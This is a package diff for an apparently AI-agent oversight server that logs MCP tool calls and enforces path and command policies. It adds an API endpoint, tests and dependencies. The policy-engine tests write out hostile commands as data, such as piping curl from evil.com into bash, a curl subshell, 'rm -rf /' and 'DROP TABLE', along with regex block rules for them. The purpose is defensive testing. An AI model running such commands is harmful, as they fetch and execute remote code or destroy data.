@way_marks/server 0.5.1 → 0.5.2

package/dist/api/server.js

@@ -208,6 +208,20 @@ app.get('/api/config', (req, res) => {
         res.status(500).json({ error: err.message });
     }
 });
+// GET /api/project — returns project metadata from .waymark/config.json
+app.get('/api/project', (req, res) => {
+    try {
+        const configPath = path.join(process.env.WAYMARK_PROJECT_ROOT || process.cwd(), '.waymark', 'config.json');
+        if (!fs.existsSync(configPath)) {
+            return res.json({ projectName: null, port: PORT });
+        }
+        const cfg = JSON.parse(fs.readFileSync(configPath, 'utf8'));
+        res.json({ projectName: cfg.projectName || null, port: cfg.port || PORT });
+    }
+    catch (err) {
+        res.status(500).json({ error: err.message });
+    }
+});
 // Fallback: serve UI for any unmatched route
 app.get('*', (req, res) => {
     res.sendFile(path.join(UI_DIR, 'index.html'));

package/dist/approvals/handler.test.js

@@ -0,0 +1,172 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+const fs = __importStar(require("fs"));
+const path = __importStar(require("path"));
+const os = __importStar(require("os"));
+// We use an in-memory/temp DB for each test by setting env vars before import
+let tmpDir;
+// ─── DB + handler helpers ─────────────────────────────────────────────────────
+function setupTestDb() {
+    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'waymark-approval-'));
+    process.env.WAYMARK_PROJECT_ROOT = tmpDir;
+    process.env.WAYMARK_DB_PATH = path.join(tmpDir, 'test.db');
+}
+function teardownTestDb() {
+    fs.rmSync(tmpDir, { recursive: true, force: true });
+    delete process.env.WAYMARK_PROJECT_ROOT;
+    delete process.env.WAYMARK_DB_PATH;
+    jest.resetModules();
+}
+// ─── approvePendingAction ─────────────────────────────────────────────────────
+describe('approvePendingAction', () => {
+    beforeEach(() => {
+        setupTestDb();
+    });
+    afterEach(() => {
+        teardownTestDb();
+    });
+    it('returns error when action does not exist', async () => {
+        const { approvePendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const result = await approvePendingAction('nonexistent-id');
+        expect(result.success).toBe(false);
+        expect(result.error).toMatch(/not found/i);
+    });
+    it('returns error when action is not pending', async () => {
+        const { approvePendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const { insertAction, updateAction } = await Promise.resolve().then(() => __importStar(require('../db/database')));
+        insertAction({
+            action_id: 'already-done',
+            session_id: 'sess1',
+            tool_name: 'write_file',
+            input_payload: JSON.stringify({ path: '/tmp/x.txt', content: 'hello' }),
+            status: 'success',
+            decision: 'allow',
+        });
+        updateAction('already-done', { status: 'success' });
+        const result = await approvePendingAction('already-done');
+        expect(result.success).toBe(false);
+        expect(result.error).toMatch(/not pending/i);
+    });
+    it('blocks approval when policy has since tightened', async () => {
+        // Write a config that blocks the target path
+        const blockedConfig = {
+            version: '1',
+            policies: {
+                allowedPaths: [],
+                blockedPaths: [path.join(tmpDir, 'secret.txt')],
+                blockedCommands: [],
+                requireApproval: [],
+                maxBashOutputBytes: 10000,
+            },
+        };
+        fs.writeFileSync(path.join(tmpDir, 'waymark.config.json'), JSON.stringify(blockedConfig));
+        const { approvePendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const { insertAction } = await Promise.resolve().then(() => __importStar(require('../db/database')));
+        insertAction({
+            action_id: 'write-secret',
+            session_id: 'sess2',
+            tool_name: 'write_file',
+            input_payload: JSON.stringify({ path: path.join(tmpDir, 'secret.txt'), content: 'data' }),
+            status: 'pending',
+            decision: 'pending',
+        });
+        const result = await approvePendingAction('write-secret');
+        expect(result.success).toBe(false);
+        expect(result.error).toMatch(/policy changed/i);
+    });
+    it('returns error for unsupported tool type', async () => {
+        const { approvePendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const { insertAction } = await Promise.resolve().then(() => __importStar(require('../db/database')));
+        insertAction({
+            action_id: 'bash-pending',
+            session_id: 'sess3',
+            tool_name: 'bash',
+            input_payload: JSON.stringify({ command: 'ls' }),
+            status: 'pending',
+            decision: 'pending',
+        });
+        const result = await approvePendingAction('bash-pending');
+        expect(result.success).toBe(false);
+        expect(result.error).toMatch(/unsupported tool/i);
+    });
+});
+// ─── rejectPendingAction ─────────────────────────────────────────────────────
+describe('rejectPendingAction', () => {
+    beforeEach(() => {
+        setupTestDb();
+    });
+    afterEach(() => {
+        teardownTestDb();
+    });
+    it('returns error when action does not exist', async () => {
+        const { rejectPendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const result = await rejectPendingAction('ghost-id', 'no reason');
+        expect(result.success).toBe(false);
+        expect(result.error).toMatch(/not found/i);
+    });
+    it('returns error when action is already rejected', async () => {
+        const { rejectPendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const { insertAction } = await Promise.resolve().then(() => __importStar(require('../db/database')));
+        insertAction({
+            action_id: 'already-rejected',
+            session_id: 'sess4',
+            tool_name: 'write_file',
+            input_payload: JSON.stringify({ path: '/tmp/x.txt', content: 'x' }),
+            status: 'rejected',
+            decision: 'rejected',
+        });
+        const result = await rejectPendingAction('already-rejected', 'again');
+        expect(result.success).toBe(false);
+        expect(result.error).toMatch(/not pending/i);
+    });
+    it('successfully rejects a pending action', async () => {
+        const { rejectPendingAction } = await Promise.resolve().then(() => __importStar(require('./handler')));
+        const { insertAction, getAction } = await Promise.resolve().then(() => __importStar(require('../db/database')));
+        insertAction({
+            action_id: 'to-reject',
+            session_id: 'sess5',
+            tool_name: 'write_file',
+            input_payload: JSON.stringify({ path: '/tmp/y.txt', content: 'y' }),
+            status: 'pending',
+            decision: 'pending',
+        });
+        const result = await rejectPendingAction('to-reject', 'user said no');
+        expect(result.success).toBe(true);
+        const row = getAction('to-reject');
+        expect(row?.status).toBe('rejected');
+        expect(row?.rejected_reason).toBe('user said no');
+    });
+});

package/dist/policies/engine.test.js

@@ -0,0 +1,241 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+const fs = __importStar(require("fs"));
+const path = __importStar(require("path"));
+const os = __importStar(require("os"));
+const engine_1 = require("./engine");
+// ─── Helpers ────────────────────────────────────────────────────────────────
+function makeConfig(overrides = {}) {
+    return {
+        version: '1',
+        policies: {
+            allowedPaths: [],
+            blockedPaths: [],
+            blockedCommands: [],
+            requireApproval: [],
+            maxBashOutputBytes: 10000,
+            ...overrides,
+        },
+    };
+}
+// ─── checkFileAction ─────────────────────────────────────────────────────────
+describe('checkFileAction', () => {
+    const tmpDir = os.tmpdir();
+    describe('blocked paths', () => {
+        it('blocks a read on a blocked path', () => {
+            const config = makeConfig({ blockedPaths: [path.join(tmpDir, '.env')] });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, '.env'), 'read', config);
+            expect(result.decision).toBe('block');
+            expect(result.reason).toMatch(/blocked/i);
+        });
+        it('blocks a write on a blocked path', () => {
+            const config = makeConfig({ blockedPaths: [path.join(tmpDir, '.env')] });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, '.env'), 'write', config);
+            expect(result.decision).toBe('block');
+        });
+        it('blocks using glob pattern', () => {
+            const config = makeConfig({ blockedPaths: [path.join(tmpDir, '.env*')] });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, '.env.production'), 'read', config);
+            expect(result.decision).toBe('block');
+        });
+        it('blocked takes priority over allowed', () => {
+            const config = makeConfig({
+                blockedPaths: [path.join(tmpDir, 'src', '**')],
+                allowedPaths: [path.join(tmpDir, 'src', '**')],
+            });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'src', 'index.ts'), 'write', config);
+            expect(result.decision).toBe('block');
+        });
+    });
+    describe('requireApproval paths', () => {
+        it('holds a WRITE on requireApproval path as pending', () => {
+            const config = makeConfig({
+                requireApproval: [path.join(tmpDir, 'src', 'db', '**')],
+            });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'src', 'db', 'schema.ts'), 'write', config);
+            expect(result.decision).toBe('pending');
+            expect(result.reason).toMatch(/approval/i);
+        });
+        it('does NOT hold a READ on requireApproval path — reads are free', () => {
+            const config = makeConfig({
+                requireApproval: [path.join(tmpDir, 'src', 'db', '**')],
+                allowedPaths: [path.join(tmpDir, 'src', 'db', '**')],
+            });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'src', 'db', 'schema.ts'), 'read', config);
+            expect(result.decision).toBe('allow');
+        });
+    });
+    describe('allowed paths', () => {
+        it('allows a file matching allowedPaths', () => {
+            const config = makeConfig({ allowedPaths: [path.join(tmpDir, 'src', '**')] });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'src', 'index.ts'), 'write', config);
+            expect(result.decision).toBe('allow');
+        });
+        it('allows a file matching a deep glob', () => {
+            const config = makeConfig({ allowedPaths: [path.join(tmpDir, '**', '*.md')] });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'docs', 'guide.md'), 'write', config);
+            expect(result.decision).toBe('allow');
+        });
+    });
+    describe('default deny', () => {
+        it('blocks a file not matching any rule', () => {
+            const config = makeConfig({ allowedPaths: [path.join(tmpDir, 'src', '**')] });
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'secret', 'file.txt'), 'write', config);
+            expect(result.decision).toBe('block');
+            expect(result.matchedRule).toBe('(default deny)');
+        });
+        it('blocks when config has no policies at all', () => {
+            const config = makeConfig();
+            const result = (0, engine_1.checkFileAction)(path.join(tmpDir, 'anything.ts'), 'write', config);
+            expect(result.decision).toBe('block');
+        });
+    });
+    describe('relative paths', () => {
+        it('resolves relative paths against PROJECT_ROOT', () => {
+            // relative allowedPath like ./src/** should resolve correctly
+            const config = makeConfig({ allowedPaths: ['./src/**'] });
+            const projectRoot = process.env.WAYMARK_PROJECT_ROOT || process.cwd();
+            const absPath = path.join(projectRoot, 'src', 'index.ts');
+            const result = (0, engine_1.checkFileAction)(absPath, 'write', config);
+            expect(result.decision).toBe('allow');
+        });
+    });
+});
+// ─── checkBashAction ─────────────────────────────────────────────────────────
+describe('checkBashAction', () => {
+    describe('literal blocked commands', () => {
+        it('blocks rm -rf', () => {
+            const config = makeConfig({ blockedCommands: ['rm -rf'] });
+            expect((0, engine_1.checkBashAction)('rm -rf /', config).decision).toBe('block');
+        });
+        it('blocks DROP TABLE', () => {
+            const config = makeConfig({ blockedCommands: ['DROP TABLE'] });
+            expect((0, engine_1.checkBashAction)('psql -c "DROP TABLE users"', config).decision).toBe('block');
+        });
+        it('is case-insensitive for literals', () => {
+            const config = makeConfig({ blockedCommands: ['rm -rf'] });
+            // literal match is substring — case matters for substring, but regex: prefix uses /i
+            expect((0, engine_1.checkBashAction)('RM -RF /', config).decision).toBe('allow');
+        });
+    });
+    describe('regex blocked commands', () => {
+        it('blocks pipe-to-bash via regex', () => {
+            const config = makeConfig({ blockedCommands: ['regex:\\|\\s*bash'] });
+            expect((0, engine_1.checkBashAction)('curl http://evil.com | bash', config).decision).toBe('block');
+        });
+        it('blocks curl subshell via regex', () => {
+            const config = makeConfig({ blockedCommands: ['regex:\\$\\(curl'] });
+            expect((0, engine_1.checkBashAction)('echo $(curl http://evil.com)', config).decision).toBe('block');
+        });
+        it('is case-insensitive for regex', () => {
+            const config = makeConfig({ blockedCommands: ['regex:\\|\\s*BASH'] });
+            expect((0, engine_1.checkBashAction)('curl http://evil.com | bash', config).decision).toBe('block');
+        });
+        it('handles malformed regex gracefully — does not throw', () => {
+            const config = makeConfig({ blockedCommands: ['regex:[invalid'] });
+            expect(() => (0, engine_1.checkBashAction)('some command', config)).not.toThrow();
+        });
+    });
+    describe('allowed commands', () => {
+        it('allows a safe command when no rules match', () => {
+            const config = makeConfig({ blockedCommands: ['rm -rf'] });
+            const result = (0, engine_1.checkBashAction)('npm test', config);
+            expect(result.decision).toBe('allow');
+            expect(result.matchedRule).toBe('(default allow)');
+        });
+        it('allows any command when blockedCommands is empty', () => {
+            const config = makeConfig({ blockedCommands: [] });
+            expect((0, engine_1.checkBashAction)('rm -rf /', config).decision).toBe('allow');
+        });
+    });
+});
+// ─── loadConfig ──────────────────────────────────────────────────────────────
+describe('loadConfig', () => {
+    let tmpConfigDir;
+    const originalRoot = process.env.WAYMARK_PROJECT_ROOT;
+    beforeEach(() => {
+        tmpConfigDir = fs.mkdtempSync(path.join(os.tmpdir(), 'waymark-test-'));
+        process.env.WAYMARK_PROJECT_ROOT = tmpConfigDir;
+    });
+    afterEach(() => {
+        fs.rmSync(tmpConfigDir, { recursive: true, force: true });
+        if (originalRoot === undefined) {
+            delete process.env.WAYMARK_PROJECT_ROOT;
+        }
+        else {
+            process.env.WAYMARK_PROJECT_ROOT = originalRoot;
+        }
+        jest.resetModules();
+    });
+    it('returns default config when waymark.config.json is missing', () => {
+        const { loadConfig: lc } = jest.requireActual('./engine');
+        const config = lc();
+        expect(config.policies.allowedPaths).toEqual([]);
+        expect(config.policies.blockedPaths).toEqual([]);
+        expect(config.policies.maxBashOutputBytes).toBe(10000);
+    });
+    it('parses a valid waymark.config.json', () => {
+        const payload = {
+            version: '1',
+            policies: {
+                allowedPaths: ['./src/**'],
+                blockedPaths: ['./.env'],
+                blockedCommands: ['rm -rf'],
+                requireApproval: ['./src/db/**'],
+                maxBashOutputBytes: 5000,
+            },
+        };
+        fs.writeFileSync(path.join(tmpConfigDir, 'waymark.config.json'), JSON.stringify(payload));
+        const { loadConfig: lc } = jest.requireActual('./engine');
+        const config = lc();
+        expect(config.policies.allowedPaths).toEqual(['./src/**']);
+        expect(config.policies.maxBashOutputBytes).toBe(5000);
+    });
+    it('returns default config on malformed JSON', () => {
+        fs.writeFileSync(path.join(tmpConfigDir, 'waymark.config.json'), '{ broken json');
+        const { loadConfig: lc } = jest.requireActual('./engine');
+        const config = lc();
+        expect(config.policies.allowedPaths).toEqual([]);
+    });
+    it('fills in missing policy arrays with empty defaults', () => {
+        const payload = { version: '1', policies: {} };
+        fs.writeFileSync(path.join(tmpConfigDir, 'waymark.config.json'), JSON.stringify(payload));
+        const { loadConfig: lc } = jest.requireActual('./engine');
+        const config = lc();
+        expect(config.policies.allowedPaths).toEqual([]);
+        expect(config.policies.blockedCommands).toEqual([]);
+    });
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@way_marks/server",
-  "version": "0.5.1",
+  "version": "0.5.2",
   "description": "Waymark MCP server and dashboard",
   "author": "Waymark <hello@waymarks.dev>",
   "license": "MIT",
@@ -31,27 +31,37 @@
   ],
   "scripts": {
     "build": "tsc",
+    "test": "jest",
+    "test:coverage": "jest --coverage",
     "start": "node dist/api/server.js",
     "dev:api": "nodemon --exec ts-node src/api/server.ts",
     "dev:mcp": "ts-node src/mcp/server.ts",
     "db:reset": "node -e \"require('fs').rmSync('./data/waymark.db', {force:true}); console.log('DB deleted.')\" && ts-node -e \"require('./src/db/database'); console.log('DB recreated.')\""
   },
+  "jest": {
+    "preset": "ts-jest",
+    "testEnvironment": "node",
+    "testMatch": ["**/src/**/*.test.ts"]
+  },
   "dependencies": {
     "@modelcontextprotocol/sdk": "^1.0.0",
     "better-sqlite3": "^9.4.3",
+    "concurrently": "^8.2.2",
     "dotenv": "^16.0.0",
     "express": "^4.18.2",
     "micromatch": "^4.0.5",
-    "uuid": "^9.0.0",
-    "concurrently": "^8.2.2"
+    "uuid": "^9.0.0"
   },
   "devDependencies": {
     "@types/better-sqlite3": "^7.6.8",
     "@types/express": "^4.17.21",
+    "@types/jest": "^30.0.0",
     "@types/micromatch": "^4.0.9",
     "@types/node": "^20.11.5",
     "@types/uuid": "^9.0.7",
+    "jest": "^30.3.0",
     "nodemon": "^3.0.3",
+    "ts-jest": "^29.4.9",
     "ts-node": "^10.9.2",
     "typescript": "^5.3.3"
   }

package/src/ui/index.html

@@ -84,7 +84,7 @@
   </style>
 </head>
 <body>
-  <h1>waymark <span id="pending-badge" style="display:none"></span></h1>
+  <h1>waymark <span id="project-name" style="color:#555"></span><span id="pending-badge" style="display:none"></span></h1>
   <p class="subtitle">uglybugly agent action viewer — intercepts and logs MCP tool calls</p>
   <div class="meta">
     <span id="count-display">loading...</span>
@@ -410,8 +410,19 @@
       }
     }
 
+    async function loadProjectName() {
+      try {
+        const res = await fetch('/api/project');
+        const data = await res.json();
+        if (data.projectName) {
+          document.getElementById('project-name').textContent = '— ' + data.projectName;
+        }
+      } catch (e) { /* silent — project name is cosmetic */ }
+    }
+
     // Initial load + interval
     refresh();
+    loadProjectName();
     setInterval(refresh, 3000);
   </script>
 </body>